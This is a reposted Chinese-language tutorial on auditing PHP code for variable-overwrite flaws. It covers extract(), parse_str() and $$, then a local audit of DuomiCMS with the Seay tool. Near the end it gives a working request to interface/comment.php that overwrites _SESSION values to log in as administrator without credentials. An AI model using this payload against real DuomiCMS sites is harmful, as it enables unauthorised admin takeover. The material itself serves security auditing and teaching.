PHP代码审计之变量覆盖漏洞

PHP代码审计之变量覆盖漏洞

黑客资讯访客1970-01-01 8:00:002682A+A-

1.变量覆盖定义

变量覆盖指的是可以用我们的传参值替换程序原有的变量值

2.风险

变量覆盖漏洞有的时候可以直接让我们获取Webshell,拿到服务器的权限

3.寻找变量覆盖

经常导致变量覆盖漏洞场景有:

1. $$使用不当2. extract()函数使用不当,3. parse_str()函数使用不当4. import_request_variables()使用不当,开启了全局变量注册等

3.1.经常引发变量覆盖漏洞的函数

extract()parse_str()import_request_variables()

3.1.1.extract()函数

3.1.1.1.作用

从数组中将变量导入到当前的符号表

将数组中的内容转化为变量

3.1.1.2.实例

$a = "1";$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");extract($my_array);echo "\$a = $a; \$b = $b; \$c = $c";?>

运行结果:

$a = Cat; $b = Dog; $c = Horse

3.1.1.3.CTF举例

1594712840.png!small

1594712904.png!small

3.1.2.parse_str()

3.1.2.1.作用

将查询字符串解析到变量中

3.1.2.2.实例

<?phpparse_str("name=zkaq&&age=60");echo $name."<br>";echo $age;?>

parse_str("name=Bill&age=60") 相当于完成了$name ='zkaq'和$age ='60'

3.1.2.3.

如果在parse_str中可以直接传参,也可以覆盖变量

3.1.3.$$

不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$

3.1.3.1.代码实例

1594712953.png!small

$a = 1;foreach(array('_COOKIE','_POST','_GET') as $_request) {foreach($$_request as $_key=>$_value) {$$_key=addslashes($_value);}}echo $a;?>

1594713065.png!small

4.本地测试

DuomiCMS

4.1.本地搭建环境

4.1.1.将源码放入WWW目录

1594713117.png!small

4.1.2.安装

1594713141.png!small

1594713166.png!small

1594713183.png!small

1594713199.png!small

4.2.Seay代码审计系统

4.2.1.开启数据库监控

1594713214.png!small

1594713241.png!small

4.2.2.登录后台

1594713290.png!small

4.2.3.更新数据库监控

1594713309.png!small

4.2.4.规则管理

1594713322.png!small

4.3.审计

4.3.1.添加一个匹配$$的规则

([^\$"]|$)\$\{?\$或者简单点\$\$

开始

1594713366.png!small

4.3.3.发现一个存在变量覆盖的地方

duomiphp\common.php文件

1594713382.png!small

4.3.4.定位函数

1594713394.png!small

1594713411.png!small

4.3.5.

get_magic_quotes_gpc()

判断是否开启魔术引号

4.3.6.变量覆盖需满足的条件

1.有传参 

2.键名没有有cfg_和GLOBALS 

3.COOKIE传参中没有$_k

同时满足会进入exit函数,那三条只要有一条不满足,就会产生变量覆盖漏洞

1594713465.png!small

4.3.7.包含common.php文件的地方

admin目录下的login.php文件中包含了common.php文件

这个页面还调用了check.admin.php

check.admin.php

输出常量duomi_INC,exit(duomi_INC)

发现为常量duomi_INC的值为duomiphp,在该目录下找到check.admin.php文件

该文件为控制session的,可以通过common.php进行一个伪造session

1594713536.png!small

4.3.8.1.session

Session与cookie功能效果相同。Session与Cookie的区别在于Session是记录在服务端的,而Cookie是记录在客户端的。

Cookie为什么有权限 -> 使用了session,访问网页,留一个空间,里面可以通过代码 例如session里有admin=1,可以判断为管理员

4.3.9.session的值

设置session值进行赋值来获得权限,groupid是权限的意思,全局搜索,发现groupid为1的时候,为管理员

1594713566.png!small

4.4.本地测试攻击

4.4.1.退出admin账号

1594713629.png!small

4.4.2.构造攻击

interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin



1594713662.png!small

4.4.3.再次访问admin目录

自动登录上了,因为session已经和当前用户cookie配对了

1594713682.png!small

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 2条评论
  • 断渊南简2022-05-29 22:11:31
  • 开启魔术引号4.3.6.变量覆盖需满足的条件1.有传参 2.键名没有有cfg_和GLOBALS 3.COOKIE传参中没有$_k同时满足会进入exit函数,那三条只要有一条不满足,就会产生变量覆盖漏洞4.3.7.包含common.php文件的地方admin目录下的login.php文件中包含了c
  • 南殷梦息2022-05-30 01:19:22
  • 也可以覆盖变量3.1.3.$$不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$3.1.3.1.代码实例$a = 1;foreach(array('_COOKIE','_POST','_GET') as $_request) {foreach($$_reques

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理